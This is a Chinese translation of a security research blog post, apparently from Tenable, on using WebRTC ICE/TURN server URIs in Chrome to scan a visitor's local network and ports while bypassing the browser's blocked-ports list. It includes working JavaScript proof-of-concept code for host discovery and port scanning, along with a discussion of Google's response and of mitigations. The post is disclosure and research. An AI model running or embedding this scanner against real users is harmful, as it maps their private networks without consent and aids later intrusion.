WebRTC,名稱源自網頁即時通信(英語:Web Real-Time Communication)的縮寫,是一個支持網頁瀏覽器進行實時語音對話或視頻對話的API。它於2011年6月1日開源並在Google、Mozilla、Opera支持下被納入萬維網聯盟的W3C推薦標準。——百度百科
使用瀏覽器掃描局域網並不是一種新想法,目前已有許多利用XHR請求、websockets或存粹的HTML代碼來發現和識別局域網設備的例子。但在這篇博客中,我將介紹一種使用WebRTC ICE服務進行掃描的技術。該技術掃描速度較快,並且與其他方法不同的是,它可以繞過[blocked ports list](https://chromium.googlesource.com/chromium/src.git/+/refs/heads/master/net/ba se/port_util.cc)。但不幸的是,它只能在Chrome上才能生效。
你可以跳過我的解釋,直接進入代碼或演示頁面。如果想詳細瞭解,先讓我們從PoC視頻開始,主要是掃描我的192.168.88.0/24網絡。
視頻地址:https://youtu.be/M6lBVhkzUmM
什麼是ICE Server?
如前所述,掃描技術使用WebRTC ICE服務。ICE服務是WebRTC RTCPeerConnection用於自我發現、NAT遍歷和中繼的STUN或TURN服務,通過將服務器列表傳遞到RTCPeerConnection的構造器來實現。下面是一個和谷歌公共STUN服務器有關的構造器之一:
var rtc = new RTCPeerConnection({
iceServers:[{“urls”:”stun:stun.l.google.com:19302”}]
});
當上述RTCPeerConnection進入ICE收集狀態時,它將嘗試連接到所提供的服務器。
協議
ICE服務可以綁定到UDP或TCP端口。但是,除非特別設定,Chrome似乎只嘗試通過UDP進行通信。下面是一個Wireshark截圖,顯示了Chrome發送數據到一個不存在的TURN服務器,一切都基於UDP。
如果你知道一些關於ICE服務器的URL,可以強迫Chrome通過TCP進行連接。傳遞給RTCPeerConnection構造器的URL必須符合RFC 7064(STUN)或RFC 7065(TURN)。TURN URI的方案如下:
對於掃描來說最重要的是“?transport=”字段。它可以通過“?transport=TCP”強制ICE使用TCP。
現在,我們有了一種方法來向我們選擇的任何IP和端口發出TCP連接。但是,由於我們要掃描的所有主機幾乎都和TURN服務無關,那麼如何確定主機是否處於活動狀態呢?
確定目標是否存活
爲了找到192.168.[0-255].1範圍內的活動地址,下面的JSFiddle會生成256個TURN URI。
var brute_array = [];
for (i = 0; i < 256; i++) {
brute_address = "turn:192.168." + i + ".1:445?transport=tcp";
brute_array.push({
urls: brute_address,
credential: "lobster",
username: "albino"
});
}
var rtc_brute = new RTCPeerConnection({
iceServers: brute_array,
iceCandidatePoolSize: 0
});
rtc_brute.createDataChannel('', {
reliable: false
});
rtc_brute.onicecandidateerror = function(e) {
if (e.url == null) {
return;
}
url_split = e.url.split(":");
host_div = document.createElement('div');
host_div.id = url_split[1];
host_div.innerHTML = url_split[1];
document.getElementById('hosts').appendChild(host_div);
}
// trigger the gathering of ICE candidates
rtc_brute.createOffer(function(offerDesc) {
rtc_brute.setLocalDesc ription(offerDesc);
}, function(e) {
console.log("Create offer failed callback.");
});
當icecandidateerror事件生成時,這個地址就被確定爲“活動的”。如果主機以某種形式拒絕連接,Chrome就會將生成錯誤事件。理想情況下,在Chrome發送初始信息後,會立刻有RST回覆或一個快速拒絕。雖然服務可能只是保持連接打開,但錯誤事件將需要大約30秒來生成。
這就是爲什麼JSFiddle使用端口445進行掃描。我實現的SMB完成了TCP握手,然後在Chrome的非SMB通信之後關閉連接。445端口的另一個理想之處在於它和Windows關係緊密。
如果Chrome沒有響應,則不會生成事件。這可能是因爲防火牆進行了處理,也可能是不存在可用主機。
我遇到的唯一一個極端情況回覆中存在一個ICMP響應。這導致Chrome生成一個icecandidateerror
,形成了一定程度的干擾。
端口掃描
JSFiddle會掃描192.168.88.1上的21、22、23、25、53、80、443、445、5900和8080端口。
var ports = [21, 22, 23, 25, 53, 80, 443, 445, 5900, 8080];
var target = "192.168.88.1";
address_div = document.createElement('div');
address_div.id = target;
address_div.innerHTML = target;
document.getElementById("hosts").appendChild(address_div);
var scan_array = [];
for (i = 0; i < ports.length; i++) {
probe_address = "turn:" + target + ":" + ports[i] + "?transport=tcp";
scan_array.push({
urls: probe_address,
credential: "lobster",
username: "albino"
});
port_div = document.createElement('div');
port_div.id = ports[i]
port_div.innerHTML = " -> Port " + ports[i] + " - ?"
document.getElementById(target).appendChild(port_div);
}
var port_scan = new RTCPeerConnection({
iceServers: scan_array,
iceCandidatePoolSize: 0
});
port_scan.createDataChannel('', {
reliable: false
});
port_scan.onicecandidateerror = function(e) {
if (e.url == null) {
return;
}
url_split = e.url.split(":");
port_split = url_split[2].split("?");
if (e.hostCandidate != "0.0.0.x:0") {
document.getElementById(port_split[0]).innerHTML = " -> Port " + port_split[0] + " - <b><i>Open</i><b>"
} else {
document.getElementById(port_split[0]).innerHTML = " -> Port " + port_split[0] + " - Closed"
}
}
setTimeout(function() {
if (port_scan.iceGatheringState === "gathering") {
port_scan.close();
}
}, 60000);
port_scan.onicegatheringstatechange = function(e) {
if (port_scan.iceGatheringState == "complete") {
port_scan.close();
}
}
port_scan.createOffer(function(offerDesc) {
port_scan.setLocalDesc ription(offerDesc);
},
function(e) {
console.log("Create offer failed callback.");
});
以下本地網絡掃描結果:
基於Chrome生成的icecandidateerror
事件,腳本能夠將端口分類爲“打開”或“關閉”。每個icecandidateerror
都有一個hostCandidate變量。任何完成TCP三次握手的ICE服務器都將在hostCandidate
中列出本地IP和端口(例如192.168.88.x:51688)。無法訪問的ICE服務器以“0.0.0.x:0”的形式生成hostCandidates
。因此,判斷一個端口是否打開很簡單。
只適用於Chrome?
目前我無法在任何其他瀏覽器中重現掃描,其他瀏覽器似乎沒有實現onicecandidateerror
。這個特性在Chrome中存在的時間也不長,因爲MDN顯示“不支持”:
其他瀏覽器似乎對RTCPeerConnection的使用也不太靈活。雖然Chrome很樂意接受255個不同的ICE服務器,但Firefox就不行。
關於PoC代碼
Chrome最近已修復因WebRTC而泄露的本地地址這一問題。當“Experimental”功能的“Anonymize local IPs exposed by WebRTC”標誌被啓用時,Chrome將嘗試使用mDNS.local
主機名,而不是本地IP。
我覺得這真是一個很好的安全加固,肯定能阻止不少潛在的攻擊者。
不過我在PoC也考慮到了IP無法獲取這一點,此時它將嘗試搜索192.168.[0–255].1上的某個活動IP。
這是一個弱點嗎?
起初,我覺得這是一個弱點。攻擊者(有爭議地)繞過Chrome的受限端口列表,能夠搜索受害者的局域網。但谷歌似乎認爲這是一個“隱私”問題,而不是安全漏洞。
不過,現在有各種各樣的插件可以禁用WebRTC,你也可以選擇其他瀏覽器。
本文由白帽彙整理並翻譯,不代表白帽匯任何觀點和立場:https://nosec.org/home/detail/3595.html
來源:https://medium.com/tenable-techblog/using-webrtc-ice-servers-for-port-scanning-in-chrome-ce17b19dd474